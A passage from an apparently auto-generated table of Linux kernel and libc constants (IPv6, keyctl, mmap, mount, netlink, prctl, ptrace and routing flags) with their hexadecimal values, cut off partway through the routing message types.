-- IPPROTO_ICMP = 0x1
-- IPPROTO_ICMPV6 = 0x3a
-- IPPROTO_IDP = 0x16
-- IPPROTO_IGMP = 0x2
-- IPPROTO_IP = 0x0
-- IPPROTO_IPIP = 0x4
-- IPPROTO_IPV6 = 0x29
-- IPPROTO_MH = 0x87
-- IPPROTO_MPLS = 0x89
-- IPPROTO_MTP = 0x5c
-- IPPROTO_NONE = 0x3b
-- IPPROTO_PIM = 0x67
-- IPPROTO_PUP = 0xc
-- IPPROTO_RAW = 0xff
-- IPPROTO_ROUTING = 0x2b
-- IPPROTO_RSVP = 0x2e
-- IPPROTO_SCTP = 0x84
-- IPPROTO_TCP = 0x6
-- IPPROTO_TP = 0x1d
-- IPPROTO_UDP = 0x11
-- IPPROTO_UDPLITE = 0x88
-- IPV6_2292DSTOPTS = 0x4
-- IPV6_2292HOPLIMIT = 0x8
-- IPV6_2292HOPOPTS = 0x3
-- IPV6_2292PKTINFO = 0x2
-- IPV6_2292PKTOPTIONS = 0x6
-- IPV6_2292RTHDR = 0x5
-- IPV6_ADDRFORM = 0x1
-- IPV6_ADD_MEMBERSHIP = 0x14
-- IPV6_AUTHHDR = 0xa
-- IPV6_CHECKSUM = 0x7
-- IPV6_DONTFRAG = 0x3e
-- IPV6_DROP_MEMBERSHIP = 0x15
-- IPV6_DSTOPTS = 0x3b
-- IPV6_HDRINCL = 0x24
-- IPV6_HOPLIMIT = 0x34
-- IPV6_HOPOPTS = 0x36
-- IPV6_IPSEC_POLICY = 0x22
-- IPV6_JOIN_ANYCAST = 0x1b
-- IPV6_JOIN_GROUP = 0x14
-- IPV6_LEAVE_ANYCAST = 0x1c
-- IPV6_LEAVE_GROUP = 0x15
-- IPV6_MTU = 0x18
-- IPV6_MTU_DISCOVER = 0x17
-- IPV6_MULTICAST_HOPS = 0x12
-- IPV6_MULTICAST_IF = 0x11
-- IPV6_MULTICAST_LOOP = 0x13
-- IPV6_NEXTHOP = 0x9
-- IPV6_PATHMTU = 0x3d
-- IPV6_PKTINFO = 0x32
-- IPV6_PMTUDISC_DO = 0x2
-- IPV6_PMTUDISC_DONT = 0x0
-- IPV6_PMTUDISC_INTERFACE = 0x4
-- IPV6_PMTUDISC_OMIT = 0x5
-- IPV6_PMTUDISC_PROBE = 0x3
-- IPV6_PMTUDISC_WANT = 0x1
-- IPV6_RECVDSTOPTS = 0x3a
-- IPV6_RECVERR = 0x19
-- IPV6_RECVHOPLIMIT = 0x33
-- IPV6_RECVHOPOPTS = 0x35
-- IPV6_RECVPATHMTU = 0x3c
-- IPV6_RECVPKTINFO = 0x31
-- IPV6_RECVRTHDR = 0x38
-- IPV6_RECVTCLASS = 0x42
-- IPV6_ROUTER_ALERT = 0x16
-- IPV6_RTHDR = 0x39
-- IPV6_RTHDRDSTOPTS = 0x37
-- IPV6_RTHDR_LOOSE = 0x0
-- IPV6_RTHDR_STRICT = 0x1
-- IPV6_RTHDR_TYPE_0 = 0x0
-- IPV6_RXDSTOPTS = 0x3b
-- IPV6_RXHOPOPTS = 0x36
-- IPV6_TCLASS = 0x43
-- IPV6_UNICAST_HOPS = 0x10
-- IPV6_V6ONLY = 0x1a
-- IPV6_XFRM_POLICY = 0x23
-- IP_ADD_MEMBERSHIP = 0x23
-- IP_ADD_SOURCE_MEMBERSHIP = 0x27
-- IP_BIND_ADDRESS_NO_PORT = 0x18
-- IP_BLOCK_SOURCE = 0x26
-- IP_CHECKSUM = 0x17
-- IP_DEFAULT_MULTICAST_LOOP = 0x1
-- IP_DEFAULT_MULTICAST_TTL = 0x1
-- IP_DF = 0x4000
-- IP_DROP_MEMBERSHIP = 0x24
-- IP_DROP_SOURCE_MEMBERSHIP = 0x28
-- IP_FREEBIND = 0xf
-- IP_HDRINCL = 0x3
-- IP_IPSEC_POLICY = 0x10
-- IP_MAXPACKET = 0xffff
-- IP_MAX_MEMBERSHIPS = 0x14
-- IP_MF = 0x2000
-- IP_MINTTL = 0x15
-- IP_MSFILTER = 0x29
-- IP_MSS = 0x240
-- IP_MTU = 0xe
-- IP_MTU_DISCOVER = 0xa
-- IP_MULTICAST_ALL = 0x31
-- IP_MULTICAST_IF = 0x20
-- IP_MULTICAST_LOOP = 0x22
-- IP_MULTICAST_TTL = 0x21
-- IP_NODEFRAG = 0x16
-- IP_OFFMASK = 0x1fff
-- IP_OPTIONS = 0x4
-- IP_ORIGDSTADDR = 0x14
-- IP_PASSSEC = 0x12
-- IP_PKTINFO = 0x8
-- IP_PKTOPTIONS = 0x9
-- IP_PMTUDISC = 0xa
-- IP_PMTUDISC_DO = 0x2
-- IP_PMTUDISC_DONT = 0x0
-- IP_PMTUDISC_INTERFACE = 0x4
-- IP_PMTUDISC_OMIT = 0x5
-- IP_PMTUDISC_PROBE = 0x3
-- IP_PMTUDISC_WANT = 0x1
-- IP_RECVERR = 0xb
-- IP_RECVOPTS = 0x6
-- IP_RECVORIGDSTADDR = 0x14
-- IP_RECVRETOPTS = 0x7
-- IP_RECVTOS = 0xd
-- IP_RECVTTL = 0xc
-- IP_RETOPTS = 0x7
-- IP_RF = 0x8000
-- IP_ROUTER_ALERT = 0x5
-- IP_TOS = 0x1
-- IP_TRANSPARENT = 0x13
-- IP_TTL = 0x2
-- IP_UNBLOCK_SOURCE = 0x25
-- IP_UNICAST_IF = 0x32
-- IP_XFRM_POLICY = 0x11
-- ISIG = 0x1
-- ISTRIP = 0x20
-- IUCLC = 0x200
-- IUTF8 = 0x4000
-- IXANY = 0x800
-- IXOFF = 0x1000
-- IXON = 0x400
-- KEYCTL_ASSUME_AUTHORITY = 0x10
-- KEYCTL_CHOWN = 0x4
-- KEYCTL_CLEAR = 0x7
-- KEYCTL_DESCRIBE = 0x6
-- KEYCTL_DH_COMPUTE = 0x17
-- KEYCTL_GET_KEYRING_ID = 0x0
-- KEYCTL_GET_PERSISTENT = 0x16
-- KEYCTL_GET_SECURITY = 0x11
-- KEYCTL_INSTANTIATE = 0xc
-- KEYCTL_INSTANTIATE_IOV = 0x14
-- KEYCTL_INVALIDATE = 0x15
-- KEYCTL_JOIN_SESSION_KEYRING = 0x1
-- KEYCTL_LINK = 0x8
-- KEYCTL_NEGATE = 0xd
-- KEYCTL_READ = 0xb
-- KEYCTL_REJECT = 0x13
-- KEYCTL_REVOKE = 0x3
-- KEYCTL_SEARCH = 0xa
-- KEYCTL_SESSION_TO_PARENT = 0x12
-- KEYCTL_SETPERM = 0x5
-- KEYCTL_SET_REQKEY_KEYRING = 0xe
-- KEYCTL_SET_TIMEOUT = 0xf
-- KEYCTL_UNLINK = 0x9
-- KEYCTL_UPDATE = 0x2
-- KEY_REQKEY_DEFL_DEFAULT = 0x0
-- KEY_REQKEY_DEFL_GROUP_KEYRING = 0x6
-- KEY_REQKEY_DEFL_NO_CHANGE = -0x1
-- KEY_REQKEY_DEFL_PROCESS_KEYRING = 0x2
-- KEY_REQKEY_DEFL_REQUESTOR_KEYRING = 0x7
-- KEY_REQKEY_DEFL_SESSION_KEYRING = 0x3
-- KEY_REQKEY_DEFL_THREAD_KEYRING = 0x1
-- KEY_REQKEY_DEFL_USER_KEYRING = 0x4
-- KEY_REQKEY_DEFL_USER_SESSION_KEYRING = 0x5
-- KEY_SPEC_GROUP_KEYRING = -0x6
-- KEY_SPEC_PROCESS_KEYRING = -0x2
-- KEY_SPEC_REQKEY_AUTH_KEY = -0x7
-- KEY_SPEC_REQUESTOR_KEYRING = -0x8
-- KEY_SPEC_SESSION_KEYRING = -0x3
-- KEY_SPEC_THREAD_KEYRING = -0x1
-- KEY_SPEC_USER_KEYRING = -0x4
-- KEY_SPEC_USER_SESSION_KEYRING = -0x5
-- LINUX_REBOOT_CMD_CAD_OFF = 0x0
-- LINUX_REBOOT_CMD_CAD_ON = 0x89abcdef
-- LINUX_REBOOT_CMD_HALT = 0xcdef0123
-- LINUX_REBOOT_CMD_KEXEC = 0x45584543
-- LINUX_REBOOT_CMD_POWER_OFF = 0x4321fedc
-- LINUX_REBOOT_CMD_RESTART = 0x1234567
-- LINUX_REBOOT_CMD_RESTART2 = 0xa1b2c3d4
-- LINUX_REBOOT_CMD_SW_SUSPEND = 0xd000fce2
-- LINUX_REBOOT_MAGIC1 = 0xfee1dead
-- LINUX_REBOOT_MAGIC2 = 0x28121969
-- LOCK_EX = 0x2
-- LOCK_NB = 0x4
-- LOCK_SH = 0x1
-- LOCK_UN = 0x8
-- MADV_DODUMP = 0x11
-- MADV_DOFORK = 0xb
-- MADV_DONTDUMP = 0x10
-- MADV_DONTFORK = 0xa
-- MADV_DONTNEED = 0x4
-- MADV_FREE = 0x8
-- MADV_HUGEPAGE = 0xe
-- MADV_HWPOISON = 0x64
-- MADV_MERGEABLE = 0xc
-- MADV_NOHUGEPAGE = 0xf
-- MADV_NORMAL = 0x0
-- MADV_RANDOM = 0x1
-- MADV_REMOVE = 0x9
-- MADV_SEQUENTIAL = 0x2
-- MADV_UNMERGEABLE = 0xd
-- MADV_WILLNEED = 0x3
-- MAP_ANON = 0x800
-- MAP_ANONYMOUS = 0x800
-- MAP_DENYWRITE = 0x2000
-- MAP_EXECUTABLE = 0x4000
-- MAP_FILE = 0x0
-- MAP_FIXED = 0x10
-- MAP_GROWSDOWN = 0x1000
-- MAP_HUGETLB = 0x80000
-- MAP_HUGE_MASK = 0x3f
-- MAP_HUGE_SHIFT = 0x1a
-- MAP_LOCKED = 0x8000
-- MAP_NONBLOCK = 0x20000
-- MAP_NORESERVE = 0x400
-- MAP_POPULATE = 0x10000
-- MAP_PRIVATE = 0x2
-- MAP_RENAME = 0x800
-- MAP_SHARED = 0x1
-- MAP_STACK = 0x40000
-- MAP_TYPE = 0xf
-- MCL_CURRENT = 0x1
-- MCL_FUTURE = 0x2
-- MCL_ONFAULT = 0x4
-- MNT_DETACH = 0x2
-- MNT_EXPIRE = 0x4
-- MNT_FORCE = 0x1
-- MSG_BATCH = 0x40000
-- MSG_CMSG_CLOEXEC = 0x40000000
-- MSG_CONFIRM = 0x800
-- MSG_CTRUNC = 0x8
-- MSG_DONTROUTE = 0x4
-- MSG_DONTWAIT = 0x40
-- MSG_EOR = 0x80
-- MSG_ERRQUEUE = 0x2000
-- MSG_FASTOPEN = 0x20000000
-- MSG_FIN = 0x200
-- MSG_MORE = 0x8000
-- MSG_NOSIGNAL = 0x4000
-- MSG_OOB = 0x1
-- MSG_PEEK = 0x2
-- MSG_PROXY = 0x10
-- MSG_RST = 0x1000
-- MSG_SYN = 0x400
-- MSG_TRUNC = 0x20
-- MSG_TRYHARD = 0x4
-- MSG_WAITALL = 0x100
-- MSG_WAITFORONE = 0x10000
-- MS_ACTIVE = 0x40000000
-- MS_ASYNC = 0x1
-- MS_BIND = 0x1000
-- MS_BORN = 0x20000000
-- MS_DIRSYNC = 0x80
-- MS_INVALIDATE = 0x2
-- MS_I_VERSION = 0x800000
-- MS_KERNMOUNT = 0x400000
-- MS_LAZYTIME = 0x2000000
-- MS_MANDLOCK = 0x40
-- MS_MGC_MSK = 0xffff0000
-- MS_MGC_VAL = 0xc0ed0000
-- MS_MOVE = 0x2000
-- MS_NOATIME = 0x400
-- MS_NODEV = 0x4
-- MS_NODIRATIME = 0x800
-- MS_NOEXEC = 0x8
-- MS_NOREMOTELOCK = 0x8000000
-- MS_NOSEC = 0x10000000
-- MS_NOSUID = 0x2
-- MS_NOUSER = -0x80000000
-- MS_POSIXACL = 0x10000
-- MS_PRIVATE = 0x40000
-- MS_RDONLY = 0x1
-- MS_REC = 0x4000
-- MS_RELATIME = 0x200000
-- MS_REMOUNT = 0x20
-- MS_RMT_MASK = 0x2800051
-- MS_SHARED = 0x100000
-- MS_SILENT = 0x8000
-- MS_SLAVE = 0x80000
-- MS_STRICTATIME = 0x1000000
-- MS_SYNC = 0x4
-- MS_SYNCHRONOUS = 0x10
-- MS_UNBINDABLE = 0x20000
-- MS_VERBOSE = 0x8000
-- NAME_MAX = 0xff
-- NETLINK_ADD_MEMBERSHIP = 0x1
-- NETLINK_AUDIT = 0x9
-- NETLINK_BROADCAST_ERROR = 0x4
-- NETLINK_CAP_ACK = 0xa
-- NETLINK_CONNECTOR = 0xb
-- NETLINK_CRYPTO = 0x15
-- NETLINK_DNRTMSG = 0xe
-- NETLINK_DROP_MEMBERSHIP = 0x2
-- NETLINK_ECRYPTFS = 0x13
-- NETLINK_FIB_LOOKUP = 0xa
-- NETLINK_FIREWALL = 0x3
-- NETLINK_GENERIC = 0x10
-- NETLINK_INET_DIAG = 0x4
-- NETLINK_IP6_FW = 0xd
-- NETLINK_ISCSI = 0x8
-- NETLINK_KOBJECT_UEVENT = 0xf
-- NETLINK_LISTEN_ALL_NSID = 0x8
-- NETLINK_LIST_MEMBERSHIPS = 0x9
-- NETLINK_NETFILTER = 0xc
-- NETLINK_NFLOG = 0x5
-- NETLINK_NO_ENOBUFS = 0x5
-- NETLINK_PKTINFO = 0x3
-- NETLINK_RDMA = 0x14
-- NETLINK_ROUTE = 0x0
-- NETLINK_RX_RING = 0x6
-- NETLINK_SCSITRANSPORT = 0x12
-- NETLINK_SELINUX = 0x7
-- NETLINK_SOCK_DIAG = 0x4
-- NETLINK_TX_RING = 0x7
-- NETLINK_UNUSED = 0x1
-- NETLINK_USERSOCK = 0x2
-- NETLINK_XFRM = 0x6
-- NL0 = 0x0
-- NL1 = 0x100
-- NLA_ALIGNTO = 0x4
-- NLA_F_NESTED = 0x8000
-- NLA_F_NET_BYTEORDER = 0x4000
-- NLA_HDRLEN = 0x4
-- NLDLY = 0x100
-- NLMSG_ALIGNTO = 0x4
-- NLMSG_DONE = 0x3
-- NLMSG_ERROR = 0x2
-- NLMSG_HDRLEN = 0x10
-- NLMSG_MIN_TYPE = 0x10
-- NLMSG_NOOP = 0x1
-- NLMSG_OVERRUN = 0x4
-- NLM_F_ACK = 0x4
-- NLM_F_APPEND = 0x800
-- NLM_F_ATOMIC = 0x400
-- NLM_F_CREATE = 0x400
-- NLM_F_DUMP = 0x300
-- NLM_F_DUMP_FILTERED = 0x20
-- NLM_F_DUMP_INTR = 0x10
-- NLM_F_ECHO = 0x8
-- NLM_F_EXCL = 0x200
-- NLM_F_MATCH = 0x200
-- NLM_F_MULTI = 0x2
-- NLM_F_REPLACE = 0x100
-- NLM_F_REQUEST = 0x1
-- NLM_F_ROOT = 0x100
-- NOFLSH = 0x80
-- OCRNL = 0x8
-- OFDEL = 0x80
-- OFILL = 0x40
-- OLCUC = 0x2
-- ONLCR = 0x4
-- ONLRET = 0x20
-- ONOCR = 0x10
-- OPOST = 0x1
-- O_ACCMODE = 0x3
-- O_APPEND = 0x8
-- O_ASYNC = 0x1000
-- O_CLOEXEC = 0x80000
-- O_CREAT = 0x100
-- O_DIRECT = 0x8000
-- O_DIRECTORY = 0x10000
-- O_DSYNC = 0x10
-- O_EXCL = 0x400
-- O_FSYNC = 0x4010
-- O_LARGEFILE = 0x0
-- O_NDELAY = 0x80
-- O_NOATIME = 0x40000
-- O_NOCTTY = 0x800
-- O_NOFOLLOW = 0x20000
-- O_NONBLOCK = 0x80
-- O_PATH = 0x200000
-- O_RDONLY = 0x0
-- O_RDWR = 0x2
-- O_RSYNC = 0x4010
-- O_SYNC = 0x4010
-- O_TMPFILE = 0x410000
-- O_TRUNC = 0x200
-- O_WRONLY = 0x1
-- PACKET_ADD_MEMBERSHIP = 0x1
-- PACKET_AUXDATA = 0x8
-- PACKET_BROADCAST = 0x1
-- PACKET_COPY_THRESH = 0x7
-- PACKET_DROP_MEMBERSHIP = 0x2
-- PACKET_FANOUT = 0x12
-- PACKET_FANOUT_CBPF = 0x6
-- PACKET_FANOUT_CPU = 0x2
-- PACKET_FANOUT_DATA = 0x16
-- PACKET_FANOUT_EBPF = 0x7
-- PACKET_FANOUT_FLAG_DEFRAG = 0x8000
-- PACKET_FANOUT_FLAG_ROLLOVER = 0x1000
-- PACKET_FANOUT_HASH = 0x0
-- PACKET_FANOUT_LB = 0x1
-- PACKET_FANOUT_QM = 0x5
-- PACKET_FANOUT_RND = 0x4
-- PACKET_FANOUT_ROLLOVER = 0x3
-- PACKET_FASTROUTE = 0x6
-- PACKET_HDRLEN = 0xb
-- PACKET_HOST = 0x0
-- PACKET_KERNEL = 0x7
-- PACKET_LOOPBACK = 0x5
-- PACKET_LOSS = 0xe
-- PACKET_MR_ALLMULTI = 0x2
-- PACKET_MR_MULTICAST = 0x0
-- PACKET_MR_PROMISC = 0x1
-- PACKET_MR_UNICAST = 0x3
-- PACKET_MULTICAST = 0x2
-- PACKET_ORIGDEV = 0x9
-- PACKET_OTHERHOST = 0x3
-- PACKET_OUTGOING = 0x4
-- PACKET_QDISC_BYPASS = 0x14
-- PACKET_RECV_OUTPUT = 0x3
-- PACKET_RESERVE = 0xc
-- PACKET_ROLLOVER_STATS = 0x15
-- PACKET_RX_RING = 0x5
-- PACKET_STATISTICS = 0x6
-- PACKET_TIMESTAMP = 0x11
-- PACKET_TX_HAS_OFF = 0x13
-- PACKET_TX_RING = 0xd
-- PACKET_TX_TIMESTAMP = 0x10
-- PACKET_USER = 0x6
-- PACKET_VERSION = 0xa
-- PACKET_VNET_HDR = 0xf
-- PARENB = 0x100
-- PARITY_CRC16_PR0 = 0x2
-- PARITY_CRC16_PR0_CCITT = 0x4
-- PARITY_CRC16_PR1 = 0x3
-- PARITY_CRC16_PR1_CCITT = 0x5
-- PARITY_CRC32_PR0_CCITT = 0x6
-- PARITY_CRC32_PR1_CCITT = 0x7
-- PARITY_DEFAULT = 0x0
-- PARITY_NONE = 0x1
-- PARMRK = 0x8
-- PARODD = 0x200
-- PENDIN = 0x4000
-- PERF_EVENT_IOC_DISABLE = 0x20002401
-- PERF_EVENT_IOC_ENABLE = 0x20002400
-- PERF_EVENT_IOC_ID = 0x40082407
-- PERF_EVENT_IOC_PAUSE_OUTPUT = 0x80042409
-- PERF_EVENT_IOC_PERIOD = 0x80082404
-- PERF_EVENT_IOC_REFRESH = 0x20002402
-- PERF_EVENT_IOC_RESET = 0x20002403
-- PERF_EVENT_IOC_SET_BPF = 0x80042408
-- PERF_EVENT_IOC_SET_FILTER = 0x80082406
-- PERF_EVENT_IOC_SET_OUTPUT = 0x20002405
-- PRIO_PGRP = 0x1
-- PRIO_PROCESS = 0x0
-- PRIO_USER = 0x2
-- PROT_EXEC = 0x4
-- PROT_GROWSDOWN = 0x1000000
-- PROT_GROWSUP = 0x2000000
-- PROT_NONE = 0x0
-- PROT_READ = 0x1
-- PROT_WRITE = 0x2
-- PR_CAPBSET_DROP = 0x18
-- PR_CAPBSET_READ = 0x17
-- PR_CAP_AMBIENT = 0x2f
-- PR_CAP_AMBIENT_CLEAR_ALL = 0x4
-- PR_CAP_AMBIENT_IS_SET = 0x1
-- PR_CAP_AMBIENT_LOWER = 0x3
-- PR_CAP_AMBIENT_RAISE = 0x2
-- PR_ENDIAN_BIG = 0x0
-- PR_ENDIAN_LITTLE = 0x1
-- PR_ENDIAN_PPC_LITTLE = 0x2
-- PR_FPEMU_NOPRINT = 0x1
-- PR_FPEMU_SIGFPE = 0x2
-- PR_FP_EXC_ASYNC = 0x2
-- PR_FP_EXC_DISABLED = 0x0
-- PR_FP_EXC_DIV = 0x10000
-- PR_FP_EXC_INV = 0x100000
-- PR_FP_EXC_NONRECOV = 0x1
-- PR_FP_EXC_OVF = 0x20000
-- PR_FP_EXC_PRECISE = 0x3
-- PR_FP_EXC_RES = 0x80000
-- PR_FP_EXC_SW_ENABLE = 0x80
-- PR_FP_EXC_UND = 0x40000
-- PR_FP_MODE_FR = 0x1
-- PR_FP_MODE_FRE = 0x2
-- PR_GET_CHILD_SUBREAPER = 0x25
-- PR_GET_DUMPABLE = 0x3
-- PR_GET_ENDIAN = 0x13
-- PR_GET_FPEMU = 0x9
-- PR_GET_FPEXC = 0xb
-- PR_GET_FP_MODE = 0x2e
-- PR_GET_KEEPCAPS = 0x7
-- PR_GET_NAME = 0x10
-- PR_GET_NO_NEW_PRIVS = 0x27
-- PR_GET_PDEATHSIG = 0x2
-- PR_GET_SECCOMP = 0x15
-- PR_GET_SECUREBITS = 0x1b
-- PR_GET_THP_DISABLE = 0x2a
-- PR_GET_TID_ADDRESS = 0x28
-- PR_GET_TIMERSLACK = 0x1e
-- PR_GET_TIMING = 0xd
-- PR_GET_TSC = 0x19
-- PR_GET_UNALIGN = 0x5
-- PR_MCE_KILL = 0x21
-- PR_MCE_KILL_CLEAR = 0x0
-- PR_MCE_KILL_DEFAULT = 0x2
-- PR_MCE_KILL_EARLY = 0x1
-- PR_MCE_KILL_GET = 0x22
-- PR_MCE_KILL_LATE = 0x0
-- PR_MCE_KILL_SET = 0x1
-- PR_MPX_DISABLE_MANAGEMENT = 0x2c
-- PR_MPX_ENABLE_MANAGEMENT = 0x2b
-- PR_SET_CHILD_SUBREAPER = 0x24
-- PR_SET_DUMPABLE = 0x4
-- PR_SET_ENDIAN = 0x14
-- PR_SET_FPEMU = 0xa
-- PR_SET_FPEXC = 0xc
-- PR_SET_FP_MODE = 0x2d
-- PR_SET_KEEPCAPS = 0x8
-- PR_SET_MM = 0x23
-- PR_SET_MM_ARG_END = 0x9
-- PR_SET_MM_ARG_START = 0x8
-- PR_SET_MM_AUXV = 0xc
-- PR_SET_MM_BRK = 0x7
-- PR_SET_MM_END_CODE = 0x2
-- PR_SET_MM_END_DATA = 0x4
-- PR_SET_MM_ENV_END = 0xb
-- PR_SET_MM_ENV_START = 0xa
-- PR_SET_MM_EXE_FILE = 0xd
-- PR_SET_MM_MAP = 0xe
-- PR_SET_MM_MAP_SIZE = 0xf
-- PR_SET_MM_START_BRK = 0x6
-- PR_SET_MM_START_CODE = 0x1
-- PR_SET_MM_START_DATA = 0x3
-- PR_SET_MM_START_STACK = 0x5
-- PR_SET_NAME = 0xf
-- PR_SET_NO_NEW_PRIVS = 0x26
-- PR_SET_PDEATHSIG = 0x1
-- PR_SET_PTRACER = 0x59616d61
-- PR_SET_PTRACER_ANY = -0x1
-- PR_SET_SECCOMP = 0x16
-- PR_SET_SECUREBITS = 0x1c
-- PR_SET_THP_DISABLE = 0x29
-- PR_SET_TIMERSLACK = 0x1d
-- PR_SET_TIMING = 0xe
-- PR_SET_TSC = 0x1a
-- PR_SET_UNALIGN = 0x6
-- PR_TASK_PERF_EVENTS_DISABLE = 0x1f
-- PR_TASK_PERF_EVENTS_ENABLE = 0x20
-- PR_TIMING_STATISTICAL = 0x0
-- PR_TIMING_TIMESTAMP = 0x1
-- PR_TSC_ENABLE = 0x1
-- PR_TSC_SIGSEGV = 0x2
-- PR_UNALIGN_NOPRINT = 0x1
-- PR_UNALIGN_SIGBUS = 0x2
-- PTRACE_ATTACH = 0x10
-- PTRACE_CONT = 0x7
-- PTRACE_DETACH = 0x11
-- PTRACE_EVENT_CLONE = 0x3
-- PTRACE_EVENT_EXEC = 0x4
-- PTRACE_EVENT_EXIT = 0x6
-- PTRACE_EVENT_FORK = 0x1
-- PTRACE_EVENT_SECCOMP = 0x7
-- PTRACE_EVENT_STOP = 0x80
-- PTRACE_EVENT_VFORK = 0x2
-- PTRACE_EVENT_VFORK_DONE = 0x5
-- PTRACE_GETEVENTMSG = 0x4201
-- PTRACE_GETFPREGS = 0xe
-- PTRACE_GETREGS = 0xc
-- PTRACE_GETREGSET = 0x4204
-- PTRACE_GETSIGINFO = 0x4202
-- PTRACE_GETSIGMASK = 0x420a
-- PTRACE_GET_THREAD_AREA = 0x19
-- PTRACE_GET_THREAD_AREA_3264 = 0xc4
-- PTRACE_GET_WATCH_REGS = 0xd0
-- PTRACE_INTERRUPT = 0x4207
-- PTRACE_KILL = 0x8
-- PTRACE_LISTEN = 0x4208
-- PTRACE_OLDSETOPTIONS = 0x15
-- PTRACE_O_EXITKILL = 0x100000
-- PTRACE_O_MASK = 0x3000ff
-- PTRACE_O_SUSPEND_SECCOMP = 0x200000
-- PTRACE_O_TRACECLONE = 0x8
-- PTRACE_O_TRACEEXEC = 0x10
-- PTRACE_O_TRACEEXIT = 0x40
-- PTRACE_O_TRACEFORK = 0x2
-- PTRACE_O_TRACESECCOMP = 0x80
-- PTRACE_O_TRACESYSGOOD = 0x1
-- PTRACE_O_TRACEVFORK = 0x4
-- PTRACE_O_TRACEVFORKDONE = 0x20
-- PTRACE_PEEKDATA = 0x2
-- PTRACE_PEEKDATA_3264 = 0xc1
-- PTRACE_PEEKSIGINFO = 0x4209
-- PTRACE_PEEKSIGINFO_SHARED = 0x1
-- PTRACE_PEEKTEXT = 0x1
-- PTRACE_PEEKTEXT_3264 = 0xc0
-- PTRACE_PEEKUSR = 0x3
-- PTRACE_POKEDATA = 0x5
-- PTRACE_POKEDATA_3264 = 0xc3
-- PTRACE_POKETEXT = 0x4
-- PTRACE_POKETEXT_3264 = 0xc2
-- PTRACE_POKEUSR = 0x6
-- PTRACE_SECCOMP_GET_FILTER = 0x420c
-- PTRACE_SEIZE = 0x4206
-- PTRACE_SETFPREGS = 0xf
-- PTRACE_SETOPTIONS = 0x4200
-- PTRACE_SETREGS = 0xd
-- PTRACE_SETREGSET = 0x4205
-- PTRACE_SETSIGINFO = 0x4203
-- PTRACE_SETSIGMASK = 0x420b
-- PTRACE_SET_THREAD_AREA = 0x1a
-- PTRACE_SET_WATCH_REGS = 0xd1
-- PTRACE_SINGLESTEP = 0x9
-- PTRACE_SYSCALL = 0x18
-- PTRACE_TRACEME = 0x0
-- RLIMIT_AS = 0x6
-- RLIMIT_CORE = 0x4
-- RLIMIT_CPU = 0x0
-- RLIMIT_DATA = 0x2
-- RLIMIT_FSIZE = 0x1
-- RLIMIT_LOCKS = 0xa
-- RLIMIT_MEMLOCK = 0x9
-- RLIMIT_MSGQUEUE = 0xc
-- RLIMIT_NICE = 0xd
-- RLIMIT_NOFILE = 0x5
-- RLIMIT_NPROC = 0x8
-- RLIMIT_RSS = 0x7
-- RLIMIT_RTPRIO = 0xe
-- RLIMIT_RTTIME = 0xf
-- RLIMIT_SIGPENDING = 0xb
-- RLIMIT_STACK = 0x3
-- RLIM_INFINITY = -0x1
-- RTAX_ADVMSS = 0x8
-- RTAX_CC_ALGO = 0x10
-- RTAX_CWND = 0x7
-- RTAX_FEATURES = 0xc
-- RTAX_FEATURE_ALLFRAG = 0x8
-- RTAX_FEATURE_ECN = 0x1
-- RTAX_FEATURE_MASK = 0xf
-- RTAX_FEATURE_SACK = 0x2
-- RTAX_FEATURE_TIMESTAMP = 0x4
-- RTAX_HOPLIMIT = 0xa
-- RTAX_INITCWND = 0xb
-- RTAX_INITRWND = 0xe
-- RTAX_LOCK = 0x1
-- RTAX_MAX = 0x10
-- RTAX_MTU = 0x2
-- RTAX_QUICKACK = 0xf
-- RTAX_REORDERING = 0x9
-- RTAX_RTO_MIN = 0xd
-- RTAX_RTT = 0x4
-- RTAX_RTTVAR = 0x5
-- RTAX_SSTHRESH = 0x6
-- RTAX_UNSPEC = 0x0
-- RTAX_WINDOW = 0x3
-- RTA_ALIGNTO = 0x4
-- RTA_MAX = 0x19
-- RTCF_DIRECTSRC = 0x4000000
-- RTCF_DOREDIRECT = 0x1000000
-- RTCF_LOG = 0x2000000
-- RTCF_MASQ = 0x400000
-- RTCF_NAT = 0x800000
-- RTCF_VALVE = 0x200000
-- RTF_ADDRCLASSMASK = 0xf8000000
-- RTF_ADDRCONF = 0x40000
-- RTF_ALLONLINK = 0x20000
-- RTF_BROADCAST = 0x10000000
-- RTF_CACHE = 0x1000000
-- RTF_DEFAULT = 0x10000
-- RTF_DYNAMIC = 0x10
-- RTF_FLOW = 0x2000000
-- RTF_GATEWAY = 0x2
-- RTF_HOST = 0x4
-- RTF_INTERFACE = 0x40000000
-- RTF_IRTT = 0x100
-- RTF_LINKRT = 0x100000
-- RTF_LOCAL = 0x80000000
-- RTF_MODIFIED = 0x20
-- RTF_MSS = 0x40
-- RTF_MTU = 0x40
-- RTF_MULTICAST = 0x20000000
-- RTF_NAT = 0x8000000
-- RTF_NOFORWARD = 0x1000
-- RTF_NONEXTHOP = 0x200000
-- RTF_NOPMTUDISC = 0x4000
-- RTF_POLICY = 0x4000000
-- RTF_REINSTATE = 0x8
-- RTF_REJECT = 0x200
-- RTF_STATIC = 0x400
-- RTF_THROW = 0x2000
-- RTF_UP = 0x1
-- RTF_WINDOW = 0x80
-- RTF_XRESOLVE = 0x800
-- RTM_BASE = 0x10
-- RTM_DELACTION = 0x31
-- RTM_DELADDR = 0x15
-- RTM_DELADDRLABEL = 0x49
-- RTM_DELLINK = 0x11
-- RTM_DELMDB = 0x55
-- RTM_DELNEIGH = 0x1d
-- RTM_DELNSID = 0x59
-- RTM_DELQDISC = 0x25
-- RTM_DELROUTE = 0x19
-- RTM_DELRULE = 0x21
-- RTM_DELTCLASS = 0x29
-- RTM_DELTFILTER = 0x2d
-- RTM_F_CLONED = 0x200
-- RTM_F_EQUALIZE = 0x400
-- RTM_F_LOOKUP_TABLE = 0x1000
-- RTM_F_NOTIFY = 0x100
-- RTM_F_PREFIX = 0x800
-- RTM_GETACTION = 0x32
-- RTM_GETADDR = 0x16
-- RTM_GETADDRLABEL = 0x4a
-- RTM_GETANYCAST = 0x3e
-- RTM_GETDCB = 0x4e
-- RTM_GETLINK = 0x12
-- RTM_GETMDB = 0x56
-- RTM_GETMULTICAST = 0x3a
-- RTM_GETNEIGH = 0x1e
-- RTM_GETNEIGHTBL = 0x42
-- RTM_GETNETCONF = 0x52
-- RTM_GETNSID = 0x5a
-- RTM_GETQDISC = 0x26
-- RTM_GETROUTE = 0x1a
-- RTM_GETRULE = 0x22
-- RTM_GETSTATS = 0x5e
-- RTM_GETTCLASS = 0x2a
-- RTM_GETTFILTER = 0x2e
-- RTM_MAX = 0x5f
-- RTM_NEWACTION = 0x30
